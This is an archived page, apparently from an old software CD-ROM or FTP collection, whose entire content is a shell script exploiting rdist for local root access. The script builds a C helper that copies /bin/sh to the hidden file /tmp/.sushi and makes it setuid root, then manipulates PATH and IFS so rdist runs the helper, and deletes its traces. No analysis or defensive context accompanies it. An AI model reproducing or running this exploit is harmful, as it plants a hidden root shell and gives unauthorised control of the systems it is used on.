home *** CD-ROM | disk | FTP | other *** search
-
-
-
-
- #!/bin/sh
-
- cat << _EOF_ > distfile
-
- w0oTwO0T -> localhost
-
- install /tmp/1 ;
-
- notify user ;
-
- _EOF_
-
- cat << _EOF_ > usr.c
-
- main()
-
- {
-
- setuid(0);
-
- chown("/tmp/.sushi", 0, 0);
-
- chmod("/tmp/.sushi", 04755);
-
- exit(0);
-
- }
-
- _EOF_
-
- cp /bin/sh /tmp/.sushi
-
- cc -o usr usr.c
-
- PATH=.:$PATH
-
- IFS='/'
-
- export PATH IFS
-
- rdist
-
- rm -f usr usr.c distfile
-